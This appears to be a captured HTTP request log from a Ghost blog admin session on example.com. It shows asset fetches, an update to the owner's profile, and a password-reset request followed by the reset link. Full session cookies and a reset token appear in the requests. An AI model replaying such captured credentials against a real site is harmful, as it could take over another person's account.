{"method": "GET", "target": "/ghost/assets/sidebar-Cxgn680J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/global-data-context-DEBn4F7a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/orb-pink-DHoYttFD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/global-data-provider-CG0GJ0r9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/main-content-Bao0puGh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-form-BOZ1UvGu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-filterable-api-BsdfR4Bh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/offers-CpDs1FEB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/automated-emails-D2Q9JPUm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/default-welcome-email-values-CxlAh2m6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/newsletter-emails-BvujP3GR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/currency-BL-JTctJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/esm-RgJomlUm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-Bi9qob2Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DxKBAZcj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/combobox-BCtZYCId.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/no-value-label-DSmoO1YP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sortable-list-BNNvEEC0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/table-CC1_-yCM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-staff-users-BYweBbfD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/referrers-CP0OJptg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/navigation-DOQYs-rU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/member-custom-fields-DcFfln-a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/src-BDyV_fBQ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/list-settings-DtwS3ymI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-feature-limit-4zNG5bLS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/gift-links-B1YU5Md_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-upgrade-route-B5f80QZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-setting-group-D5TMKznJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/color-picker-field-D4rsXzSv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/color-picker-cL1FE5QD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/debounce-CmSZqU2N.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/header-image-field-Dcw8joEW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/icon-toggle-group-CRIhZEDY.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/color-utils-DPZ_D9rj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-pintura-editor-Ba4OMh5s.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/analytics-Cnmm84rB.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-check-theme-limit-error-cdxVti9_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-query-params-Db2_7OQG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/stripe-button-B_jqNRxG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tier-detail-preview-BQcFMMKy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-url-input-BYvhvRBx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/format-url-AXIF9pWF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af4570fd281b00001a59891/?include=roles", "headers": ["Host: example.com", "Content-Length: 1369", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3Azli8-bPfmtDoVsYK-hOd6XlFBCjuOWU1.XjCh%2FPQi%2FGR%2FmIogLJUMc79G%2FHX3418oksEfCPZXZOY"], "body": "{\"users\":[{\"id\":\"6af4570fd281b00001a59891\",\"name\":\"Alice Example\",\"slug\":\"alice\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":null,\"website\":null,\"location\":null,\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"whatsNew\\\":{\\\"lastSeenDate\\\":\\\"2026-11-11T11:54:12.801Z\\\"},\\\"nightShift\\\":\\\"system\\\",\\\"onboarding\\\":{\\\"completedSteps\\\":[],\\\"checklistState\\\":\\\"started\\\",\\\"startedAt\\\":\\\"2026-11-11T11:54:12.758Z\\\"},\\\"navigation\\\":{\\\"expanded\\\":{\\\"posts\\\":true,\\\"members\\\":true},\\\"menu\\\":{\\\"visible\\\":true}}}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-11T11:54:12.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"roles\":[{\"id\":\"6af4570fd281b00001a59896\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-11T11:52:47.000Z\",\"updated_at\":\"2026-11-11T11:52:47.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/signin-DyvUc-9g.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/authentication/password_reset/", "headers": ["Host: example.com", "Content-Length: 50", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"password_reset\":[{\"email\":\"alice@example.com\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/reset/MTc5NDQ4NDU2OTEzMnxhbGljZUBleGFtcGxlLmNvbXw0K05heDREb1JvdDJ0eFRKOGZ3cWJQNGlNS2NLSU1LMHJCZmoyT0xXcHdVPQ/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/reset-CSFWz6q9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
